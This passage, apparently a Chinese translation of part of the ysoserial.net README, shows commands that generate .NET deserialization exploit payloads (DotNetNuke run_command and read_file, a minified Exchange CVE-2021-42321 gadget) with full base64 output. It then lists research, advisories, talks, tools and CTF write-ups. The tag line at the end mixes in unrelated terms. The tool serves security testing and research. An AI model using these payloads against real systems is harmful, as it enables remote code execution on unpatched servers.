I3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=
```
### 使用 DotNetNuke 插件生成 run_command payload
```
$ ./ysoserial.exe -p DotNetNuke -m run_command -c calc.exe
Deserialize /wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
```
### 使用 DotNetNuke 插件生成 read_file payload
```
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
WriteFile win.ini
```
### 使用 ClaimsPrincipal gadget 内部的 ActivitySurrogateDisableTypeCheck gadget,生成一个用于利用 Exchange CVE-2021-42321 的最小化 BinaryFormatter payload。
```
> .\ysoserial.exe -g ClaimsPrincipal -f BinaryFormatter -c foobar -bgc ActivitySurrogateDisableTypeCheck --minify --ust
AAEAAAD/////AQAAAAAAAAAEAQAAACZTeXN0ZW0uU2VjdXJpdHkuQ2xhaW1zLkNsYWltc1ByaW5jaXBhbAEAAAAcbV9zZXJpYWxpemVkQ2xhaW1zSWRlbnRpdGllcwEGBQAAAKgfQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFWlRlWE4wWlcwc1ZtVnljMmx2YmowMExqQXVNQzR3TEVOMWJIUjFjbVU5Ym1WMWRISmhiQ3hRZFdKc2FXTkxaWGxVYjJ0bGJqMWlOemRoTldNMU5qRTVNelJsTURnNUJRRUFBQUJBVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VTI5eWRHVmtVMlYwWURGYlcxTjVjM1JsYlM1VGRISnBibWNzYlhOamIzSnNhV0pkWFFRQUFBQUZRMjkxYm5RSVEyOXRjR0Z5WlhJSFZtVnljMmx2YmdWSmRHVnRjd0FEQUFZSVNWTjVjM1JsYlM1RGIyeHNaV04wYVc5dWN5NUhaVzVsY21sakxrTnZiWEJoY21semIyNURiMjF3WVhKbGNtQXhXMXRUZVhOMFpXMHVVM1J5YVc1bkxHMXpZMjl5YkdsaVhWMElBZ0FBQUFJQUFBQUpBd0FBQUFJQUFBQUpCQUFBQUFRREFBQUFTVk41YzNSbGJTNURiMnhzWldOMGFXOXVjeTVIWlc1bGNtbGpMa052YlhCaGNtbHpiMjVEYjIxd1lYSmxjbUF4VzF0VGVYTjBaVzB1VTNSeWFXNW5MRzF6WTI5eWJHbGlYVjBCQUFBQUMxOWpiMjF3WVhKcGMyOXVBeUpUZVhOMFpXMHVSR1ZzWldkaGRHVlRaWEpwWVd4cGVtRjBhVzl1U0c5c1pHVnlDUVVBQUFBUkJBQUFBQUlBQUFBR0JnQUFBQUFHQndBQUFQMExQRkpsYzI5MWNtTmxSR2xqZEdsdmJtRnllU0I0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenBoUFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJZ2VHMXNibk02WWowaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlJSGh0Ykc1ek9tTTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtOdmJtWnBaM1Z5WVhScGIyNDdZWE56WlcxaWJIazlVM2x6ZEdWdExrTnZibVpwWjNWeVlYUnBiMjRpSUhodGJHNXpPbVE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExsSmxabXhsWTNScGIyNDdZWE56WlcxaWJIazliWE5qYjNKc2FXSWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnWVRwTFpYazlJblI1Y0dVaUlFOWlhbVZqZEZSNWNHVTlJbnRoT2xSNWNHVWdZanBVZVhCbGZTSWdUV1YwYUc5a1RtRnRaVDBpUjJWMFZIbHdaU0krUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1TlpYUm9iMlJRWVhKaGJXVjBaWEp6UGp4aU9sTjBjbWx1Wno1VGVYTjBaVzB1VjI5eWEyWnNiM2N1UTI5dGNHOXVaVzUwVFc5a1pXd3VRWEJ3VTJWMGRHbHVaM01zVTNsemRHVnRMbGR2Y210bWJHOTNMa052YlhCdmJtVnVkRTF2WkdWc0xGWmxjbk5wYjI0OU5DNHdMakF1TUN4RGRXeDBkWEpsUFc1bGRYUnlZV3dzVUhWaWJHbGpTMlY1Vkc5clpXNDlNekZpWmpNNE5UWmhaRE0yTkdVek5Ud3ZZanBUZEhKcGJtYytQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKbWFXVnNaQ0lnVDJKcVpXTjBTVzV6ZEdGdVkyVTlJbnRUZEdGMGFXTlNaWE52ZFhKalpTQjBlWEJsZlNJZ1RXVjBhRzlrVG1GdFpUMGlSMlYwUm1sbGJHUWlQanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4WWpwVGRISnBibWMrWkdsellXSnNaVUZqZEdsMmFYUjVVM1Z5Y205bllYUmxVMlZzWldOMGIzSlVlWEJsUTJobFkyczhMMkk2VTNSeWFXNW5QanhrT2tKcGJtUnBibWRHYkdGbmN6NDBNRHd2WkRwQ2FXNWthVzVuUm14aFozTStQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VFdWMGFHOWtVR0Z5WVcxbGRHVnljejQ4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2o0OFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUlHRTZTMlY1UFNKelpYUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdVM1JoZEdsalVtVnpiM1Z5WTJVZ1ptbGxiR1I5SWlCTlpYUm9iMlJPWVcxbFBTSlRaWFJXWVd4MVpTSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2s5aWFtVmpkQzgrUEdJNlFtOXZiR1ZoYmo1MGNuVmxQQzlpT2tKdmIyeGxZVzQrUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVRXVjBhRzlrVUdGeVlXMWxkR1Z5Y3o0OEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNDhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJR0U2UzJWNVBTSnpaWFJOWlhSb2IyUWlJRTlpYW1WamRFbHVjM1JoYm1ObFBTSjdZVHBUZEdGMGFXTWdZenBEYjI1bWFXZDFjbUYwYVc5dVRXRnVZV2RsY2k1QmNIQlRaWFIwYVc1bmMzMGlJRTFsZEdodlpFNWhiV1U5SWxObGRDSStQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVOWlhSb2IyUlFZWEpoYldWMFpYSnpQanhpT2xOMGNtbHVaejV0YVdOeWIzTnZablE2VjI5eWEyWnNiM2REYjIxd2IyNWxiblJOYjJSbGJEcEVhWE5oWW14bFFXTjBhWFpwZEhsVGRYSnliMmRoZEdWVFpXeGxZM1J2Y2xSNWNHVkRhR1ZqYXp3dllqcFRkSEpwYm1jK1BHSTZVM1J5YVc1blBuUnlkV1U4TDJJNlUzUnlhVzVuUGp3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrMWxkR2h2WkZCaGNtRnRaWFJsY25NK1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStQQzlTWlhOdmRYSmpaVVJwWTNScGIyNWhjbmsrQkFVQUFBQWlVM2x6ZEdWdExrUmxiR1ZuWVhSbFUyVnlhV0ZzYVhwaGRHbHZia2h2YkdSbGNnTUFBQUFJUkdWc1pXZGhkR1VIYldWMGFHOWtNQWR0WlhSb2IyUXhBd01ETUZONWMzUmxiUzVFWld4bFoyRjBaVk5sY21saGJHbDZZWFJwYjI1SWIyeGtaWElyUkdWc1pXZGhkR1ZGYm5SeWVTOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaTlUZVhOMFpXMHVVbVZtYkdWamRHbHZiaTVOWlcxaVpYSkpibVp2VTJWeWFXRnNhWHBoZEdsdmJraHZiR1JsY2drSUFBQUFDUWtBQUFBSkNnQUFBQVFJQUFBQU1GTjVjM1JsYlM1RVpXeGxaMkYwWlZObGNtbGhiR2w2WVhScGIyNUliMnhrWlhJclJHVnNaV2RoZEdWRmJuUnllUWNBQUFBRWRIbHdaUWhoYzNObGJXSnNlUVowWVhKblpYUVNkR0Z5WjJWMFZIbHdaVUZ6YzJWdFlteDVEblJoY21kbGRGUjVjR1ZPWVcxbENtMWxkR2h2WkU1aGJXVU5aR1ZzWldkaGRHVkZiblJ5ZVFFQkFnRUJBUU13VTNsemRHVnRMa1JsYkdWbllYUmxVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjaXRFWld4bFoyRjBaVVZ1ZEhKNUJnc0FBQUF1VTNsemRHVnRMa1oxYm1OZ01sdGJVM2x6ZEdWdExsTjBjbWx1WjEwc1cxTjVjM1JsYlM1UFltcGxZM1JkWFFZTUFBQUFDRzF6WTI5eWJHbGlDZ1lOQUFBQVZWQnlaWE5sYm5SaGRHbHZia1p5WVcxbGQyOXlheXhXWlhKemFXOXVQVFF1TUM0d0xqQXNRM1ZzZEhWeVpUMXVaWFYwY21Gc0xGQjFZbXhwWTB0bGVWUnZhMlZ1UFRNeFltWXpPRFUyWVdRek5qUmxNelVHRGdBQUFDQlRlWE4wWlcwdVYybHVaRzkzY3k1TllYSnJkWEF1V0dGdGJGSmxZV1JsY2dZUEFBQUFCVkJoY25ObENSQUFBQUFFQ1FBQUFDOVRlWE4wWlcwdVVtVm1iR1ZqZEdsdmJpNU5aVzFpWlhKSmJtWnZVMlZ5YVdGc2FYcGhkR2x2YmtodmJHUmxjZ1lBQUFBRVRtRnRaUXhCYzNObGJXSnNlVTVoYldVSlEyeGhjM05PWVcxbENWTnBaMjVoZEhWeVpRcE5aVzFpWlhKVWVYQmxFRWRsYm1WeWFXTkJjbWQxYldWdWRITUJBUUVCQUFNSURWTjVjM1JsYlM1VWVYQmxXMTBKRHdBQUFBa05BQUFBQ1E0QUFBQUdGQUFBQUNKVGVYTjBaVzB1VDJKcVpXTjBJRkJoY25ObEtGTjVjM1JsYlM1VGRISnBibWNwQ0FBQUFBb0JDZ0FBQUFrQUFBQUdGUUFBQUFkRGIyMXdZWEpsQ1F3QUFBQUdGd0FBQUExVGVYTjBaVzB1VTNSeWFXNW5CaGdBQUFBclNXNTBNeklnUTI5dGNHRnlaU2hUZVhOMFpXMHVVM1J5YVc1bkxDQlRlWE4wWlcwdVUzUnlhVzVuS1FnQUFBQUtBUkFBQUFBSUFBQUFCaGtBQUFBa1UzbHpkR1Z0TGtOdmJYQmhjbWx6YjI1Z01WdGJVM2x6ZEdWdExsTjBjbWx1WjExZENRd0FBQUFLQ1F3QUFBQUpGd0FBQUFrVkFBQUFDZ3M9Cw==
```
## v2 分支
v2 分支是 ysoserial.net(截至 2018 年 3 月 15 日)的一个副本,由 [irsdl](https://github.com/irsdl) 修改以适用于 .NET Framework 2.0。虽然此项目可用于使用 .NET Framework v2.0 的应用程序,但它也要求目标机器上安装了 .NET Framework 3.5,因为 gadgets 依赖于它。如果将来在 .NET Framework 2.0 中发现新的 gadgets,这个问题将得到解决。
## 扩展阅读
- [攻击 .NET 反序列化](https://speakerdeck.com/pwntester/attacking-net-serialization)
- [13号星期五:JSON 攻击 - 幻灯片](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [13号星期五:JSON 攻击 - 白皮书](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
- [13号星期五:JSON 攻击 - 视频](https://www.youtube.com/watch?v=ZBfBYoK_Wr0)
- [你是我的类型吗? - 幻灯片](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf)
- [你是我的类型吗? - 白皮书](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [利用 .NET Managed DCOM](https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html)
- [利用 Remoting 服务](https://github.com/tyranid/ExploitRemotingService)
- [利用反序列化查找和利用基于 HTTP 的 .NET Remoting](https://web.archive.org/web/20190330065542/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)
- [.NET Remoting 重访](https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html)
- [绕过 .NET 序列化 Binders](https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html)
- [利用加固的 .NET 反序列化:新的利用思路和滥用不安全序列化 - Hexacon 2023 白皮书](https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf)
## ysoserial.net 在野外的引用
### 研究:
- https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html
- https://web.archive.org/web/20190401191940/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/december/beware-of-deserialisation-in-.net-methods-and-classes-code-execution-via-paste/
- https://web.archive.org/web/20190330065542/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/
- https://web.archive.org/web/20180903005001/https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/aspnet-resource-files-resx-and-deserialisation-issues/
- https://web.archive.org/web/20191210003556/https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/
- https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://research.nccgroup.com/2019/08/23/getting-shell-with-xamlx-files/
- https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/
- https://www.mdsec.co.uk/2020/04/introducing-ysoserial-net-april-2020-improvements/
- https://www.netspi.com/blog/technical/adversary-simulation/re-animating-activitysurrogateselector/
- https://blog.netwrix.com/2023/04/10/generating-deserialization-payloads-for-messagepack-cs-typeless-mode/
- https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/
- https://code-white.com/blog/teaching-the-old-net-remoting-new-exploitation-tricks/
### 用法:
- https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6
- https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-014/-cyberark-password-vault-web-access-remote-code-execution
- https://labs.mwrinfosecurity.com/advisories/milestone-xprotect-net-deserialization-vulnerability/
- https://soroush.secproject.com/blog/2018/12/story-of-two-published-rces-in-sharepoint-workflows/
- https://srcincite.io/blog/2018/08/31/you-cant-contain-me-analyzing-and-exploiting-an-elevation-of-privilege-in-docker-for-windows.html
- https://www.zerodayinitiative.com/blog/2018/8/14/voicemail-vandalism-getting-remote-code-execution-on-microsoft-exchange-server
- https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf
- https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
- https://www.zerodayinitiative.com/blog/2019/10/23/cve-2019-1306-are-you-my-index
- https://labs.withsecure.com/blog/autocad-designing-a-kill-chain/
- https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
- https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/
- https://blog.devsecurity.eu/en/blog/dnspy-deserialization-vulnerability
- https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/
- https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://www.thezdi.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters
- https://www.mdsec.co.uk/2020/05/analysis-of-cve-2020-0605-code-execution-using-xps-files-in-net/
- https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
- https://srcincite.io/pocs/cve-2020-16952.py.txt
- https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters
- https://www.modzero.com/modlog/archives/2020/06/16/mz-20-03_-_new_security_advisory_regarding_vulnerabilities_in__net/index.html
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability
- https://blog.liquidsec.net/2021/06/01/asp-net-cryptography-for-pentesters/
- https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852
- https://www.mdsec.co.uk/2021/09/nsa-meeting-proposal-for-proxyshell/
- https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d
- https://www.zerodayinitiative.com/blog/2021/3/17/cve-2021-27076-a-replay-style-deserialization-attack-against-sharepoint
- https://blog.assetnote.io/2021/11/02/sitecore-rce/
- https://web.archive.org/web/20220619183339/https://starlabs.sg/blog/2022/05/new-wine-in-old-bottle-microsoft-sharepoint-post-auth-deserialization-rce-cve-2022-29108/
- https://gmo-cybersecurity.com/blog/net-remoting-english/
- https://www.mdsec.co.uk/2022/03/abc-code-execution-for-veeam/
- https://www.mandiant.com/resources/hunting-deserialization-exploits
- https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/
- https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd
- https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c
- https://www.zerodayinitiative/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform
- https://www.youtube.com/watch?v=ZcOZNAmKR0c&feature=youtu.be
### 演讲:
- https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://speakerdeck.com/pwntester/attacking-net-serialization
- https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints
- https://gosecure.github.io/presentations/2018-03-18-confoo_mtl/Security_boot_camp_for_.NET_developers_Confoo_v2.pdf
- https://illuminopi.com/assets/files/BSidesIowa_RCEvil.net_20190420.pdf
- https://nullcon.net/website/archives/pdf/goa-2018/rohit-slides.pdf
### 工具:
- https://github.com/pwntester/ViewStatePayloadGenerator
- https://github.com/0xACB/viewgen
- https://github.com/Illuminopi/RCEvil.NET
### CTF write-ups:
- https://cyku.tw/ctf-hitcon-2018-why-so-serials/
- https://xz.aliyun.com/t/3019
标签:DNS 反向解析, Gadget Chain, Maven, Payload生成, RCE, ysoserial, 反序列化, 域名收集, 多人体追踪, 提示词注入, 攻击框架, 数据展示, 漏洞验证, 知识库安全, 红队